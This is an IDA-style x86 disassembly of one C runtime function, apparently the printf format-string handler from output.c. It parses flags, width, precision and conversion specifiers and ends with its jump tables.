var_270 = dword ptr -270h
var_26C = dword ptr -26Ch
var_268 = dword ptr -268h
var_264 = dword ptr -264h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = dword ptr -258h
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = word ptr -248h
var_244 = dword ptr -244h
var_240 = byte ptr -240h
var_23F = byte ptr -23Fh
var_23C = dword ptr -23Ch
var_238 = dword ptr -238h
var_234 = dword ptr -234h
var_230 = dword ptr -230h
var_22C = dword ptr -22Ch
var_228 = byte ptr -228h
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 2A8h
push ebx
push esi
push edi
mov [ebp+var_24], 0
mov [ebp+var_22C], 0
mov [ebp+var_18], 0
loc_427F84: ; CODE XREF: sub_427F60:loc_428B72j
mov eax, [ebp+arg_4]
mov cl, [eax]
mov byte ptr [ebp+var_28], cl
movsx edx, byte ptr [ebp+var_28]
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
test edx, edx
jz loc_428B77
cmp [ebp+var_22C], 0
jl loc_428B77
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 20h
jl short loc_427FD6
movsx edx, byte ptr [ebp+var_28]
cmp edx, 78h
jg short loc_427FD6
movsx eax, byte ptr [ebp+var_28]
movsx ecx, byte ptr [eax+43D150h]
and ecx, 0Fh
mov [ebp+var_290], ecx
jmp short loc_427FE0
; ---------------------------------------------------------------------------
loc_427FD6: ; CODE XREF: sub_427F60+55j
; sub_427F60+5Ej
mov [ebp+var_290], 0
loc_427FE0: ; CODE XREF: sub_427F60+74j
mov edx, [ebp+var_290]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov ecx, [ebp+var_18]
movsx edx, ds:byte_43D170[ecx+eax*8]
sar edx, 4
mov [ebp+var_18], edx
mov eax, [ebp+var_18]
mov [ebp+var_294], eax
cmp [ebp+var_294], 7
ja loc_428B72
mov ecx, [ebp+var_294]
jmp off_428B84[ecx*4]
loc_428020: ; CODE XREF: sub_427F60+332j
; DATA XREF: _0:off_428B84o
mov [ebp+var_1C], 0
mov edx, [ebp+var_28]
and edx, 0FFh
mov eax, ds:off_453BE4
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_42809D
lea edx, [ebp+var_22C]
push edx
mov eax, [ebp+arg_0]
push eax
movsx ecx, byte ptr [ebp+var_28]
push ecx
call sub_428C90
add esp, 0Ch
mov edx, [ebp+arg_4]
mov al, [edx]
mov byte ptr [ebp+var_28], al
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
loc_42806E: ; CODE XREF: sub_427F60+13Bj
movsx edx, byte ptr [ebp+var_28]
test edx, edx
jnz short loc_428097
push offset aCh_t0 ; "ch != _T('\\0')"
push 0
push 186h
push offset aOutput_c ; "output.c"
push 2
call sub_422610
add esp, 14h
cmp eax, 1
jnz short loc_428097
int 3 ; Trap to Debugger
loc_428097: ; CODE XREF: sub_427F60+114j
; sub_427F60+134j
xor eax, eax
test eax, eax
jnz short loc_42806E
loc_42809D: ; CODE XREF: sub_427F60+E3j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
call sub_428C90
add esp, 0Ch
jmp loc_428B72
; ---------------------------------------------------------------------------
loc_4280BA: ; CODE XREF: sub_427F60+B9j
; DATA XREF: _0:00428B88o
mov [ebp+var_8], 0
mov ecx, [ebp+var_8]
mov [ebp+var_23C], ecx
mov edx, [ebp+var_23C]
mov [ebp+var_244], edx
mov eax, [ebp+var_244]
mov [ebp+var_10], eax
mov [ebp+var_4], 0
mov [ebp+var_234], 0FFFFFFFFh
mov [ebp+var_1C], 0
jmp loc_428B72
; ---------------------------------------------------------------------------
loc_4280FC: ; CODE XREF: sub_427F60+B9j
; DATA XREF: _0:00428B8Co
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_298], ecx
mov edx, [ebp+var_298]
sub edx, 20h
mov [ebp+var_298], edx
cmp [ebp+var_298], 10h
ja short loc_428166
mov ecx, [ebp+var_298]
xor eax, eax
mov al, byte_428BBC[ecx]
jmp off_428BA4[eax*4]
loc_428133: ; CODE XREF: sub_427F60+B9j
; DATA XREF: _0:00428BB0o
mov edx, [ebp+var_4]
or edx, 4
mov [ebp+var_4], edx
jmp short loc_428166
; ---------------------------------------------------------------------------
loc_42813E: ; CODE XREF: sub_427F60+B9j
; sub_427F60+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 1
mov [ebp+var_4], eax
jmp short loc_428166
; ---------------------------------------------------------------------------
loc_428148: ; CODE XREF: sub_427F60+B9j
; sub_427F60+1CCj
; DATA XREF: ...
mov ecx, [ebp+var_4]
or ecx, 2
mov [ebp+var_4], ecx
jmp short loc_428166
; ---------------------------------------------------------------------------
loc_428153: ; CODE XREF: sub_427F60+B9j
; sub_427F60+1CCj
; DATA XREF: ...
mov edx, [ebp+var_4]
or dl, 80h
mov [ebp+var_4], edx
jmp short loc_428166
; ---------------------------------------------------------------------------
loc_42815E: ; CODE XREF: sub_427F60+B9j
; sub_427F60+1CCj
; DATA XREF: ...
mov eax, [ebp+var_4]
or al, 8
mov [ebp+var_4], eax
loc_428166: ; CODE XREF: sub_427F60+B9j
; sub_427F60+1BCj ...
jmp loc_428B72
; ---------------------------------------------------------------------------
loc_42816B: ; CODE XREF: sub_427F60+B9j
; DATA XREF: _0:00428B90o
movsx ecx, byte ptr [ebp+var_28]
cmp ecx, 2Ah
jnz short loc_4281A7
lea edx, [ebp+arg_8]
push edx
call sub_428DA0
add esp, 4
mov [ebp+var_244], eax
cmp [ebp+var_244], 0
jge short loc_4281A5
mov eax, [ebp+var_4]
or al, 4
mov [ebp+var_4], eax
mov ecx, [ebp+var_244]
neg ecx
mov [ebp+var_244], ecx
loc_4281A5: ; CODE XREF: sub_427F60+22Dj
jmp short loc_4281BE
; ---------------------------------------------------------------------------
loc_4281A7: ; CODE XREF: sub_427F60+212j
mov edx, [ebp+var_244]
imul edx, 0Ah
movsx eax, byte ptr [ebp+var_28]
lea ecx, [edx+eax-30h]
mov [ebp+var_244], ecx
loc_4281BE: ; CODE XREF: sub_427F60:loc_4281A5j
jmp loc_428B72
; ---------------------------------------------------------------------------
loc_4281C3: ; CODE XREF: sub_427F60+B9j
; DATA XREF: _0:00428B94o
mov [ebp+var_234], 0
jmp loc_428B72
; ---------------------------------------------------------------------------
loc_4281D2: ; CODE XREF: sub_427F60+B9j
; DATA XREF: _0:00428B98o
movsx edx, byte ptr [ebp+var_28]
cmp edx, 2Ah
jnz short loc_428202
lea eax, [ebp+arg_8]
push eax
call sub_428DA0
add esp, 4
mov [ebp+var_234], eax
cmp [ebp+var_234], 0
jge short loc_428200
mov [ebp+var_234], 0FFFFFFFFh
loc_428200: ; CODE XREF: sub_427F60+294j
jmp short loc_428219
; ---------------------------------------------------------------------------
loc_428202: ; CODE XREF: sub_427F60+279j
mov ecx, [ebp+var_234]
imul ecx, 0Ah
movsx edx, byte ptr [ebp+var_28]
lea eax, [ecx+edx-30h]
mov [ebp+var_234], eax
loc_428219: ; CODE XREF: sub_427F60:loc_428200j
jmp loc_428B72
; ---------------------------------------------------------------------------
loc_42821E: ; CODE XREF: sub_427F60+B9j
; DATA XREF: _0:00428B9Co
movsx ecx, byte ptr [ebp+var_28]
mov [ebp+var_29C], ecx
mov edx, [ebp+var_29C]
sub edx, 49h
mov [ebp+var_29C], edx
cmp [ebp+var_29C], 2Eh
ja short loc_4282AC
mov ecx, [ebp+var_29C]
xor eax, eax
mov al, byte_428BE1[ecx]
jmp off_428BCD[eax*4]
loc_428255: ; DATA XREF: _0:00428BD5o
mov edx, [ebp+var_4]
or edx, 10h
mov [ebp+var_4], edx
jmp short loc_4282AC
; ---------------------------------------------------------------------------
loc_428260: ; CODE XREF: sub_427F60+2EEj
; DATA XREF: _0:off_428BCDo
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
cmp ecx, 36h
jnz short loc_42828B
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx+1]
cmp eax, 34h
jnz short loc_42828B
mov ecx, [ebp+arg_4]
add ecx, 2
mov [ebp+arg_4], ecx
mov edx, [ebp+var_4]
or dh, 80h
mov [ebp+var_4], edx
jmp short loc_428297
; ---------------------------------------------------------------------------
loc_42828B: ; CODE XREF: sub_427F60+309j
; sub_427F60+315j
mov [ebp+var_18], 0
jmp loc_428020
; ---------------------------------------------------------------------------
loc_428297: ; CODE XREF: sub_427F60+329j
jmp short loc_4282AC
; ---------------------------------------------------------------------------
loc_428299: ; CODE XREF: sub_427F60+2EEj
; DATA XREF: _0:00428BD1o
mov eax, [ebp+var_4]
or al, 20h
mov [ebp+var_4], eax
jmp short loc_4282AC
; ---------------------------------------------------------------------------
loc_4282A3: ; CODE XREF: sub_427F60+2EEj
; DATA XREF: _0:00428BD9o
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_4282AC: ; CODE XREF: sub_427F60+2DEj
; sub_427F60+2EEj ...
jmp loc_428B72
; ---------------------------------------------------------------------------
loc_4282B1: ; CODE XREF: sub_427F60+B9j
; DATA XREF: _0:00428BA0o
movsx edx, byte ptr [ebp+var_28]
mov [ebp+var_2A0], edx
mov eax, [ebp+var_2A0]
sub eax, 43h
mov [ebp+var_2A0], eax
cmp [ebp+var_2A0], 35h
ja loc_428997
mov edx, [ebp+var_2A0]
xor ecx, ecx
mov cl, byte_428C4C[edx]
jmp off_428C10[ecx*4]
loc_4282EC: ; DATA XREF: _0:off_428C10o
mov eax, [ebp+var_4]
and eax, 830h
test eax, eax
jnz short loc_428301
mov ecx, [ebp+var_4]
or ch, 8
mov [ebp+var_4], ecx
loc_428301: ; CODE XREF: sub_427F60+385j
; sub_427F60+396j
; DATA XREF: ...
mov edx, [ebp+var_4]
and edx, 810h
test edx, edx
jz short loc_428347
lea eax, [ebp+arg_8]
push eax
call sub_428DE0
add esp, 4
mov [ebp+var_14], ax
mov cx, [ebp+var_14]
push ecx
lea edx, [ebp+var_228]
push edx
call sub_431A80
add esp, 8
mov [ebp+var_24], eax
cmp [ebp+var_24], 0
jge short loc_428345
mov [ebp+var_23C], 1
loc_428345: ; CODE XREF: sub_427F60+3D9j
jmp short loc_42836D
; ---------------------------------------------------------------------------
loc_428347: ; CODE XREF: sub_427F60+3ACj
lea eax, [ebp+arg_8]
push eax
call sub_428DA0
add esp, 4
mov [ebp+var_248], ax
mov cl, byte ptr [ebp+var_248]
mov [ebp+var_228], cl
mov [ebp+var_24], 1
loc_42836D: ; CODE XREF: sub_427F60:loc_428345j
lea edx, [ebp+var_228]
mov [ebp+var_20], edx
jmp loc_428997
; ---------------------------------------------------------------------------
loc_42837B: ; CODE XREF: sub_427F60+385j
; DATA XREF: _0:00428C20o
lea eax, [ebp+arg_8]
push eax
call sub_428DA0
add esp, 4
mov [ebp+var_24C], eax
cmp [ebp+var_24C], 0
jz short loc_4283A2
mov ecx, [ebp+var_24C]
cmp dword ptr [ecx+4], 0
jnz short loc_4283BC
loc_4283A2: ; CODE XREF: sub_427F60+434j
mov edx, ds:off_453DFC
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
push eax
call sub_41BC70
add esp, 4
mov [ebp+var_24], eax
jmp short loc_42840B
; ---------------------------------------------------------------------------
loc_4283BC: ; CODE XREF: sub_427F60+440j
mov ecx, [ebp+var_4]
and ecx, 800h
test ecx, ecx
jz short loc_4283EC
mov edx, [ebp+var_24C]
mov eax, [edx+4]
mov [ebp+var_20], eax
mov ecx, [ebp+var_24C]
movsx edx, word ptr [ecx]
shr edx, 1
mov [ebp+var_24], edx
mov [ebp+var_1C], 1
jmp short loc_42840B
; ---------------------------------------------------------------------------
loc_4283EC: ; CODE XREF: sub_427F60+467j
mov [ebp+var_1C], 0
mov eax, [ebp+var_24C]
mov ecx, [eax+4]
mov [ebp+var_20], ecx
mov edx, [ebp+var_24C]
movsx eax, word ptr [edx]
mov [ebp+var_24], eax
loc_42840B: ; CODE XREF: sub_427F60+45Aj
; sub_427F60+48Aj
jmp loc_428997
; ---------------------------------------------------------------------------
loc_428410: ; CODE XREF: sub_427F60+385j
; DATA XREF: _0:00428C18o
mov ecx, [ebp+var_4]
and ecx, 830h
test ecx, ecx
jnz short loc_428426
mov edx, [ebp+var_4]
or dh, 8
mov [ebp+var_4], edx
loc_428426: ; CODE XREF: sub_427F60+385j
; sub_427F60+4BBj
; DATA XREF: ...
cmp [ebp+var_234], 0FFFFFFFFh
jnz short loc_42843B
mov [ebp+var_2A4], 7FFFFFFFh
jmp short loc_428447
; ---------------------------------------------------------------------------
loc_42843B: ; CODE XREF: sub_427F60+4CDj
mov eax, [ebp+var_234]
mov [ebp+var_2A4], eax
loc_428447: ; CODE XREF: sub_427F60+4D9j
mov ecx, [ebp+var_2A4]
mov [ebp+var_258], ecx
lea edx, [ebp+arg_8]
push edx
call sub_428DA0
add esp, 4
mov [ebp+var_20], eax
mov eax, [ebp+var_4]
and eax, 810h
test eax, eax
jz short loc_4284D6
cmp [ebp+var_20], 0
jnz short loc_42847D
mov ecx, ds:off_453E00
mov [ebp+var_20], ecx
loc_42847D: ; CODE XREF: sub_427F60+512j
mov [ebp+var_1C], 1
mov edx, [ebp+var_20]
mov [ebp+var_254], edx
loc_42848D: ; CODE XREF: sub_427F60+564j
mov eax, [ebp+var_258]
mov ecx, [ebp+var_258]
sub ecx, 1
mov [ebp+var_258], ecx
test eax, eax
jz short loc_4284C6
mov edx, [ebp+var_254]
xor eax, eax
mov ax, [edx]
test eax, eax
jz short loc_4284C6
mov ecx, [ebp+var_254]
add ecx, 2
mov [ebp+var_254], ecx
jmp short loc_42848D
; ---------------------------------------------------------------------------
loc_4284C6: ; CODE XREF: sub_427F60+544j
; sub_427F60+553j
mov edx, [ebp+var_254]
sub edx, [ebp+var_20]
sar edx, 1
mov [ebp+var_24], edx
jmp short loc_428530
; ---------------------------------------------------------------------------
loc_4284D6: ; CODE XREF: sub_427F60+50Cj
cmp [ebp+var_20], 0
jnz short loc_4284E4
mov eax, ds:off_453DFC
mov [ebp+var_20], eax
loc_4284E4: ; CODE XREF: sub_427F60+57Aj
mov ecx, [ebp+var_20]
mov [ebp+var_250], ecx
loc_4284ED: ; CODE XREF: sub_427F60+5C2j
mov edx, [ebp+var_258]
mov eax, [ebp+var_258]
sub eax, 1
mov [ebp+var_258], eax
test edx, edx
jz short loc_428524
mov ecx, [ebp+var_250]
movsx edx, byte ptr [ecx]
test edx, edx
jz short loc_428524
mov eax, [ebp+var_250]
add eax, 1
mov [ebp+var_250], eax
jmp short loc_4284ED
; ---------------------------------------------------------------------------
loc_428524: ; CODE XREF: sub_427F60+5A4j
; sub_427F60+5B1j
mov ecx, [ebp+var_250]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
loc_428530: ; CODE XREF: sub_427F60+574j
jmp loc_428997
; ---------------------------------------------------------------------------
loc_428535: ; CODE XREF: sub_427F60+385j
; DATA XREF: _0:00428C30o
lea edx, [ebp+arg_8]
push edx
call sub_428DA0
add esp, 4
mov [ebp+var_25C], eax
mov eax, [ebp+var_4]
and eax, 20h
test eax, eax
jz short loc_428563
mov ecx, [ebp+var_25C]
mov dx, word ptr [ebp+var_22C]
mov [ecx], dx
jmp short loc_428571
; ---------------------------------------------------------------------------
loc_428563: ; CODE XREF: sub_427F60+5EFj
mov eax, [ebp+var_25C]
mov ecx, [ebp+var_22C]
mov [eax], ecx
loc_428571: ; CODE XREF: sub_427F60+601j
mov [ebp+var_23C], 1
jmp loc_428997
; ---------------------------------------------------------------------------
loc_428580: ; CODE XREF: sub_427F60+385j
; DATA XREF: _0:00428C14o
mov [ebp+var_8], 1
mov dl, byte ptr [ebp+var_28]
add dl, 20h
mov byte ptr [ebp+var_28], dl
loc_428590: ; CODE XREF: sub_427F60+385j
; DATA XREF: _0:00428C2Co
mov eax, [ebp+var_4]
or al, 40h
mov [ebp+var_4], eax
lea ecx, [ebp+var_228]
mov [ebp+var_20], ecx
cmp [ebp+var_234], 0
jge short loc_4285B6
mov [ebp+var_234], 6
jmp short loc_4285D2
; ---------------------------------------------------------------------------
loc_4285B6: ; CODE XREF: sub_427F60+648j
cmp [ebp+var_234], 0
jnz short loc_4285D2
movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_4285D2
mov [ebp+var_234], 1
loc_4285D2: ; CODE XREF: sub_427F60+654j
; sub_427F60+65Dj ...
mov eax, [ebp+arg_8]
add eax, 8
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
sub ecx, 8
mov edx, [ecx]
mov eax, [ecx+4]
mov [ebp+var_264], edx
mov [ebp+var_260], eax
mov ecx, [ebp+var_8]
push ecx
mov edx, [ebp+var_234]
push edx
movsx eax, byte ptr [ebp+var_28]
push eax
mov ecx, [ebp+var_20]
push ecx
lea edx, [ebp+var_264]
push edx
call ds:off_454190
add esp, 14h
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jz short loc_428638
cmp [ebp+var_234], 0
jnz short loc_428638
mov ecx, [ebp+var_20]
push ecx
call ds:off_45419C
add esp, 4
loc_428638: ; CODE XREF: sub_427F60+6C0j
; sub_427F60+6C9j
movsx edx, byte ptr [ebp+var_28]
cmp edx, 67h
jnz short loc_42865A
mov eax, [ebp+var_4]
and eax, 80h
test eax, eax
jnz short loc_42865A
mov ecx, [ebp+var_20]
push ecx
call ds:off_454194
add esp, 4
loc_42865A: ; CODE XREF: sub_427F60+6DFj
; sub_427F60+6EBj
mov edx, [ebp+var_20]
movsx eax, byte ptr [edx]
cmp eax, 2Dh
jnz short loc_428677
mov ecx, [ebp+var_4]
or ch, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
loc_428677: ; CODE XREF: sub_427F60+703j
mov eax, [ebp+var_20]
push eax
call sub_41BC70
add esp, 4
mov [ebp+var_24], eax
jmp loc_428997
; ---------------------------------------------------------------------------
loc_42868B: ; CODE XREF: sub_427F60+385j
; DATA XREF: _0:00428C28o
mov ecx, [ebp+var_4]
or ecx, 40h
mov [ebp+var_4], ecx
mov [ebp+var_238], 0Ah
jmp loc_428725
; ---------------------------------------------------------------------------
loc_4286A3: ; CODE XREF: sub_427F60+385j
; DATA XREF: _0:00428C40o
mov [ebp+var_238], 0Ah
jmp short loc_428725
; ---------------------------------------------------------------------------
loc_4286AF: ; CODE XREF: sub_427F60+385j
; DATA XREF: _0:00428C38o
mov [ebp+var_234], 8
loc_4286B9: ; CODE XREF: sub_427F60+385j
; DATA XREF: _0:00428C1Co
mov [ebp+var_230], 7
jmp short loc_4286CF
; ---------------------------------------------------------------------------
loc_4286C5: ; CODE XREF: sub_427F60+385j
; DATA XREF: _0:00428C44o
mov [ebp+var_230], 27h
loc_4286CF: ; CODE XREF: sub_427F60+763j
mov [ebp+var_238], 10h
mov edx, [ebp+var_4]
and edx, 80h
test edx, edx
jz short loc_428703
mov [ebp+var_240], 30h
mov eax, [ebp+var_230]
add eax, 51h
mov [ebp+var_23F], al
mov [ebp+var_10], 2
loc_428703: ; CODE XREF: sub_427F60+784j
jmp short loc_428725
; ---------------------------------------------------------------------------
loc_428705: ; CODE XREF: sub_427F60+385j
; DATA XREF: _0:00428C34o
mov [ebp+var_238], 8
mov ecx, [ebp+var_4]
and ecx, 80h
test ecx, ecx
jz short loc_428725
mov edx, [ebp+var_4]
or dh, 2
mov [ebp+var_4], edx
loc_428725: ; CODE XREF: sub_427F60+73Ej
; sub_427F60+74Dj ...
mov eax, [ebp+var_4]
and eax, 8000h
test eax, eax
jz short loc_42874E
lea ecx, [ebp+arg_8]
push ecx
call sub_428DC0
add esp, 4
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp loc_4287DF
; ---------------------------------------------------------------------------
loc_42874E: ; CODE XREF: sub_427F60+7CFj
mov edx, [ebp+var_4]
and edx, 20h
test edx, edx
jz short loc_4287A0
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_428780
lea ecx, [ebp+arg_8]
push ecx
call sub_428DA0
add esp, 4
movsx eax, ax
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_42879E
; ---------------------------------------------------------------------------
loc_428780: ; CODE XREF: sub_427F60+800j
lea edx, [ebp+arg_8]
push edx
call sub_428DA0
add esp, 4
and eax, 0FFFFh
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
loc_42879E: ; CODE XREF: sub_427F60+81Ej
jmp short loc_4287DF
; ---------------------------------------------------------------------------
loc_4287A0: ; CODE XREF: sub_427F60+7F6j
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_4287C5
lea ecx, [ebp+arg_8]
push ecx
call sub_428DA0
add esp, 4
cdq
mov [ebp+var_278], eax
mov [ebp+var_274], edx
jmp short loc_4287DF
; ---------------------------------------------------------------------------
loc_4287C5: ; CODE XREF: sub_427F60+848j
lea edx, [ebp+arg_8]
push edx
call sub_428DA0
add esp, 4
xor ecx, ecx
mov [ebp+var_278], eax
mov [ebp+var_274], ecx
loc_4287DF: ; CODE XREF: sub_427F60+7E9j
; sub_427F60:loc_42879Ej ...
mov edx, [ebp+var_4]
and edx, 40h
test edx, edx
jz short loc_428827
cmp [ebp+var_274], 0
jg short loc_428827
jl short loc_4287FD
cmp [ebp+var_278], 0
jnb short loc_428827
loc_4287FD: ; CODE XREF: sub_427F60+892j
mov eax, [ebp+var_278]
neg eax
mov ecx, [ebp+var_274]
adc ecx, 0
neg ecx
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
mov edx, [ebp+var_4]
or dh, 1
mov [ebp+var_4], edx
jmp short loc_42883F
; ---------------------------------------------------------------------------
loc_428827: ; CODE XREF: sub_427F60+887j
; sub_427F60+890j ...
mov eax, [ebp+var_278]
mov [ebp+var_26C], eax
mov ecx, [ebp+var_274]
mov [ebp+var_268], ecx
loc_42883F: ; CODE XREF: sub_427F60+8C5j
mov edx, [ebp+var_4]
and edx, 8000h
test edx, edx
jnz short loc_428867
mov eax, [ebp+var_26C]
mov ecx, [ebp+var_268]
and ecx, 0
mov [ebp+var_26C], eax
mov [ebp+var_268], ecx
loc_428867: ; CODE XREF: sub_427F60+8EAj
cmp [ebp+var_234], 0
jge short loc_42887C
mov [ebp+var_234], 1
jmp short loc_428885
; ---------------------------------------------------------------------------
loc_42887C: ; CODE XREF: sub_427F60+90Ej
mov edx, [ebp+var_4]
and edx, 0FFFFFFF7h
mov [ebp+var_4], edx
loc_428885: ; CODE XREF: sub_427F60+91Aj
mov eax, [ebp+var_26C]
or eax, [ebp+var_268]
test eax, eax
jnz short loc_42889C
mov [ebp+var_10], 0
loc_42889C: ; CODE XREF: sub_427F60+933j
lea ecx, [ebp+var_29]
mov [ebp+var_20], ecx
loc_4288A2: ; CODE XREF: sub_427F60+9EBj
mov edx, [ebp+var_234]
mov eax, [ebp+var_234]
sub eax, 1
mov [ebp+var_234], eax
test edx, edx
jg short loc_4288CF
mov ecx, [ebp+var_26C]
or ecx, [ebp+var_268]
test ecx, ecx
jz loc_428950
loc_4288CF: ; CODE XREF: sub_427F60+959j
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov edx, [ebp+var_268]
push edx
mov eax, [ebp+var_26C]
push eax
call sub_4214F0
add eax, 30h
mov [ebp+var_270], eax
mov eax, [ebp+var_238]
cdq
push edx
push eax
mov ecx, [ebp+var_268]
push ecx
mov edx, [ebp+var_26C]
push edx
call sub_421480
mov [ebp+var_26C], eax
mov [ebp+var_268], edx
cmp [ebp+var_270], 39h
jle short loc_428937
mov eax, [ebp+var_270]
add eax, [ebp+var_230]
mov [ebp+var_270], eax
loc_428937: ; CODE XREF: sub_427F60+9C3j
mov ecx, [ebp+var_20]
mov dl, byte ptr [ebp+var_270]
mov [ecx], dl
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
jmp loc_4288A2
; ---------------------------------------------------------------------------
loc_428950: ; CODE XREF: sub_427F60+969j
lea ecx, [ebp+var_29]
sub ecx, [ebp+var_20]
mov [ebp+var_24], ecx
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+var_4]
and eax, 200h
test eax, eax
jz short loc_428997
mov ecx, [ebp+var_20]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_42897F
cmp [ebp+var_24], 0
jnz short loc_428997
loc_42897F: ; CODE XREF: sub_427F60+A17j
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+var_20]
mov byte ptr [ecx], 30h
mov edx, [ebp+var_24]
add edx, 1
mov [ebp+var_24], edx
loc_428997: ; CODE XREF: sub_427F60+371j
; sub_427F60+385j ...
cmp [ebp+var_23C], 0
jnz loc_428B72
mov eax, [ebp+var_4]
and eax, 40h
test eax, eax
jz short loc_4289FD
mov ecx, [ebp+var_4]
and ecx, 100h
test ecx, ecx
jz short loc_4289CB
mov [ebp+var_240], 2Dh
mov [ebp+var_10], 1
jmp short loc_4289FD
; ---------------------------------------------------------------------------
loc_4289CB: ; CODE XREF: sub_427F60+A59j
mov edx, [ebp+var_4]
and edx, 1
test edx, edx
jz short loc_4289E5
mov [ebp+var_240], 2Bh
mov [ebp+var_10], 1
jmp short loc_4289FD
; ---------------------------------------------------------------------------
loc_4289E5: ; CODE XREF: sub_427F60+A73j
mov eax, [ebp+var_4]
and eax, 2
test eax, eax
jz short loc_4289FD
mov [ebp+var_240], 20h
mov [ebp+var_10], 1
loc_4289FD: ; CODE XREF: sub_427F60+A4Cj
; sub_427F60+A69j ...
mov ecx, [ebp+var_244]
sub ecx, [ebp+var_24]
sub ecx, [ebp+var_10]
mov [ebp+var_27C], ecx
mov edx, [ebp+var_4]
and edx, 0Ch
test edx, edx
jnz short loc_428A35
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_428D10
add esp, 10h
loc_428A35: ; CODE XREF: sub_427F60+AB7j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_10]
push edx
lea eax, [ebp+var_240]
push eax
call sub_428D50
add esp, 10h
mov ecx, [ebp+var_4]
and ecx, 8
test ecx, ecx
jz short loc_428A83
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jnz short loc_428A83
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 30h
call sub_428D10
add esp, 10h
loc_428A83: ; CODE XREF: sub_427F60+AFBj
; sub_427F60+B05j
cmp [ebp+var_1C], 0
jz loc_428B31
cmp [ebp+var_24], 0
jle loc_428B31
mov eax, [ebp+var_20]
mov [ebp+var_280], eax
mov ecx, [ebp+var_24]
mov [ebp+var_284], ecx
loc_428AA9: ; CODE XREF: sub_427F60+BCAj
mov edx, [ebp+var_284]
mov eax, [ebp+var_284]
sub eax, 1
mov [ebp+var_284], eax
test edx, edx
jz short loc_428B2F
mov ecx, [ebp+var_280]
mov dx, [ecx]
mov [ebp+var_2A6], dx
mov ax, [ebp+var_2A6]
push eax
lea ecx, [ebp+var_288]
push ecx
mov edx, [ebp+var_280]
add edx, 2
mov [ebp+var_280], edx
call sub_431A80
add esp, 8
mov [ebp+var_28C], eax
cmp [ebp+var_28C], 0
jg short loc_428B09
jmp short loc_428B2F
; ---------------------------------------------------------------------------
loc_428B09: ; CODE XREF: sub_427F60+BA5j
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_28C]
push edx
lea eax, [ebp+var_288]
push eax
call sub_428D50
add esp, 10h
jmp loc_428AA9
; ---------------------------------------------------------------------------
loc_428B2F: ; CODE XREF: sub_427F60+B60j
; sub_427F60+BA7j
jmp short loc_428B4C
; ---------------------------------------------------------------------------
loc_428B31: ; CODE XREF: sub_427F60+B27j
; sub_427F60+B31j
lea ecx, [ebp+var_22C]
push ecx
mov edx, [ebp+arg_0]
push edx
mov eax, [ebp+var_24]
push eax
mov ecx, [ebp+var_20]
push ecx
call sub_428D50
add esp, 10h
loc_428B4C: ; CODE XREF: sub_427F60:loc_428B2Fj
mov edx, [ebp+var_4]
and edx, 4
test edx, edx
jz short loc_428B72
lea eax, [ebp+var_22C]
push eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_27C]
push edx
push 20h
call sub_428D10
add esp, 10h
loc_428B72: ; CODE XREF: sub_427F60+ADj
; sub_427F60+155j ...
jmp loc_427F84
; ---------------------------------------------------------------------------
loc_428B77: ; CODE XREF: sub_427F60+3Bj
; sub_427F60+48j
mov eax, [ebp+var_22C]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_427F60 endp
; ---------------------------------------------------------------------------
off_428B84 dd offset loc_428020 ; DATA XREF: sub_427F60+B9r
dd offset loc_4280BA
dd offset loc_4280FC
dd offset loc_42816B
dd offset loc_4281C3
dd offset loc_4281D2
dd offset loc_42821E
dd offset loc_4282B1
off_428BA4 dd offset loc_428148 ; DATA XREF: sub_427F60+1CCr
dd offset loc_428153
dd offset loc_42813E
dd offset loc_428133
dd offset loc_42815E
dd offset loc_428166
